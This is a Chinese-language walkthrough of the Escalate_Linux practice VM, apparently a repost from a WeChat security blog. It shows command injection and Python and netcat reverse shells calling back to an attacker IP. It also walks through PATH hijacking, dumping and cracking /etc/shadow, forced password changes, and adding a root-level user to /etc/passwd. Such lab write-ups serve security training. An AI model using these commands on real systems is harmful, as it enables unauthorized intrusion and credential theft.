一、主机发现
arp-scan -l
靶机ip为192.168.55.152
二、端口扫描、目录枚举+拿到低权限shell
2.1端口扫描
nmap -p- 192.168.55.152
发现很多端口开放
2.2目录枚举
dirb http://192.168.55.152
发现没有扫描出来有用的路径
尝试爆破php后缀的路径
dirb http://192.168.55.152 -X .php
发现此路径,尝试访问
靶机给我们提示说cmd可以执行命令,尝试使用hackbar进行命令拼接
执行命令成功,此时就可以进行反弹shell了
看看靶机是不是有python
直接拼接python的反弹shell命令
http://192.168.55.152/shell.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.55.132",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
拿到低权限shell
三、提权
3.1suid提权
查看该用户能够使用的root命令,发现需要用户的密码
查找一下suid权限的命令
find / -perm -4000 -print 2>/dev/null
发现这里有一个shell文件,尝试用这个文件进行提权
进入/home/user3后直接执行该文件即可成功提权
3.2全局环境变量劫持提权
刚刚发现user5目录下有script脚本,是二进制文件
cat一下发现没有合适的命令劫持
执行该文件发现它跟ls命令效果一样,此处可以尝试使用ls的命令劫持
命令如下:
cd /tmp
echo"/bin/bash" > ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
3.3计划任务提权
发现用户4桌面下有一个计划任务
cat /etc/crontab
由于环境变量的问题,在user4目录下需要使用/bin/ls代替ls命令
由于没有user4的密码,所以需要先劫持环境变量更改user4的密码
cd /tmp
echo'echo "user4:123" | chpasswd' >ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user4
使用msf生成反弹shell的命令
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.55.132 lport=8888 R
然后将生成的反弹shell命令覆盖此定时文件
echo'mkfifo /tmp/ktnq; nc 192.168.55.132 8888 0</tmp/ktnq | /bin/sh >/tmp/ktnq 2>&1; rm /tmp/ktnq' > autoscript.sh
成功提权
3.4爆破密码直接提权
cd /tmp
echo'cat /etc/shadow' >/tmp/ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
成功找到root用户的密码
使用john直接将密码爆破出来
echo'root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1' > 1.txt
john 1.txt
直接输入密码即可
成功提权
3.5vi提权
user8对vi编辑器具有sudo权限,先将user8的密码进行修改
cd /tmp
echo'echo "user8:123" | chpasswd' >ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user8
发现user8对vi具有高权限
sudo vi
:!sh
id
成功提权
3.6openssl提权
查看/etc/passwd,发现user7的gid为0,尝试登陆user7然后创建一个新的用户
cd /tmp
echo'cat /etc/passwd' >ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
更改user7的密码
cd /tmp
echo'echo "user7:123" | chpasswd' >ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user7
使用openssl生成新用户的密码
openssl passwd -1 -salt ysy 123
生成内容如下:
$1$ysy$FEKea8H9FLIyRztwO8UXd
在/etc/passwd中添加如下内容
echo'ysy:$1$ysy$FEKea8H9FLIyRztwO8UXd/:0:0:/root:/bin/bash' >> /etc/passwd
直接切换ysy用户即可成功登陆
3.7sudo提权
首先修改user1的密码
cd /tmp
echo'echo "user1:123" | chpasswd' >ls
chmod +x ls
echo$PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script
su user1
查看sudo权限发现该用户权限很高,直接启动该用户的shell即可成功提权
sudo -u user1 bash
sudo su
123
3.8mysql提权
首先使用默认密码进行登录
mysql -u root -p
root
找到数据库的账户密码
show databases;
use user;
show tables;
select * from user_info;
进入 mysql 账户
找到账号的密码
cd ~
chmod 600 .user_informations
cat .user_informations
继续寻找信息,找到root账户的密码
cd /etc/mysql
cat secret.cnf
原文始发于微信公众号(泷羽Sec-pp502的安全笔记):Escalate_Linux靶机详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论